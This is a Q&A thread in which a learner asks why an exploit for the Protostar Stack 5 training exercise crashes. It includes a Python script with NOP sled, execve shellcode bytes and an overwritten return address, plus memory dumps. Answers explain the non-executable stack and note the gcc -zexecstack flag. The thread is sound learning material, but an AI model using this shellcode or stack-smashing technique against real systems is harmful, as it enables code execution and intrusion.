2

I tried to learn how buffer overflow works and I did some exercises from exploit-exercises.com. I tried to solve Protostar Stack 5 problem. The code is writen in C. Here is the code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

The buffer starts at 0xbffff770 and the return is located at 0xbffff7bc so I have 76 byte space (0xbffff7bc - 0xbffff770 = 0x4c = 76) to put nop sled and shellcode. The shellcode size is 23 Byte, so I put 53 Byte of nop sled to my stack and I redirect the eip register in the middle of my nop sled which is 0x0xbffff770 + 16. Here is my script to produce the exploit writen in python:

import struct

eip = struct.pack("I", 0xbffff770 + 16) 
nop = "\x90" * 53
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89
           \xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

print nop + payload + eip

But after i run this exploit on the program, I got Segmentetion Fault. Can someone explain me why i got this error?

The memory after running the exploit:

0xbffff770: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff780: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff790: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff7a0: 0x90909090  0x50c03190  0x732f2f68  0x622f6868
0xbffff7b0: 0xe3896e69  0xe1895350  0x80cd0bb0  0xbffff780

The ret address is located at 0xbffff7bc and directed to 0xbffff780 (which is nop sled), and the shellcode start from 0xbffff7a5 until 0xbffff7bc

info register:

eax            0xbffff770   -1073744016
ecx            0xbffff770   -1073744016
edx            0xb7fd9334   -1208118476
ebx            0xb7fd7ff4   -1208123404
esp            0xbffff7bc   0xbffff7bc
ebp            0x80cd0bb0   0x80cd0bb0
esi            0x0  0
edi            0x0  0
eip            0x80483da    0x80483da <main+22>
eflags         0x200246 [ PF ZF IF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

By the way, I tried to put the redirect ret address 5 times so I decreased the nop sled to 33 byte (nop sled(33 byte) + shellcode(23 byte) + ret addr(4 byte * 5)) and this worked, but why I get segfault at the first exploit. I do not understand why.

5
  • 4
    Can you de-obfuscate the code that you're trying to execute? My brain is a terrible disassembler; I don't have the binary-to-mnemonic tables memorized. What does the code look like in memory once you've modified it? Commented Dec 28, 2016 at 16:55
  • Updated :) @CodyGray Commented Dec 28, 2016 at 17:24
  • Did you try to inspect the instruction at eip = 0x80483da to make sure you were executing a ret as expected? Commented Dec 29, 2016 at 1:12
  • I am suspicious about how that happens. Do you execute your code on that website's provided iso's system? Commented Dec 29, 2016 at 14:41
  • 1
    This question has been answered in Exploiting buffer overflow leads to segfault Commented Dec 10, 2018 at 12:59

1 Answer 1

1

LTKills was most probably right saying "This question has been answered in Exploiting buffer overflow leads to segfault", where the answer is:

Your memory address 0xbffff…80 is most likely non-executable, but only read/write.

You can verify this e. g. with /proc/…/maps:

  • start your C program without input, so that it waits for input
  • suspend it with Ctrl-Z, or do the following from another terminal
  • enter cat /proc/`pidof a.out`/maps (with the C program's name instead of a.out, if different)

You should see something similar to this:

08048000-08049000 r-xp 00000000 00:16 6723524   /home/armali/bin/so/c/a.out
08049000-0804a000 rw-p 00000000 00:16 6723524   /home/armali/bin/so/c/a.out
f7635000-f7636000 rw-p 00000000 00:00 0 
f7636000-f7774000 r-xp 00000000 08:08 371440    /lib/libc-2.11.3.so
f7774000-f7775000 ---p 0013e000 08:08 371440    /lib/libc-2.11.3.so
f7775000-f7777000 r--p 0013e000 08:08 371440    /lib/libc-2.11.3.so
f7777000-f7778000 rw-p 00140000 08:08 371440    /lib/libc-2.11.3.so
f7778000-f777b000 rw-p 00000000 00:00 0 
f7796000-f7799000 rw-p 00000000 00:00 0 
f7799000-f779a000 r-xp 00000000 00:00 0         [vdso]
f779a000-f77b5000 r-xp 00000000 08:08 371433    /lib/ld-2.11.3.so
f77b5000-f77b6000 r--p 0001b000 08:08 371433    /lib/ld-2.11.3.so
f77b6000-f77b7000 rw-p 0001c000 08:08 371433    /lib/ld-2.11.3.so
ff8fb000-ff910000 rw-p 00000000 00:00 0         [stack]

Here the [stack] segment is not executable (no x there).

Sign up to request clarification or add additional context in comments.

1 Comment

You should probably mention that compiling with gcc -zexecstack will make the stack (and .data and heap) executable, changing from this more-secure default.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.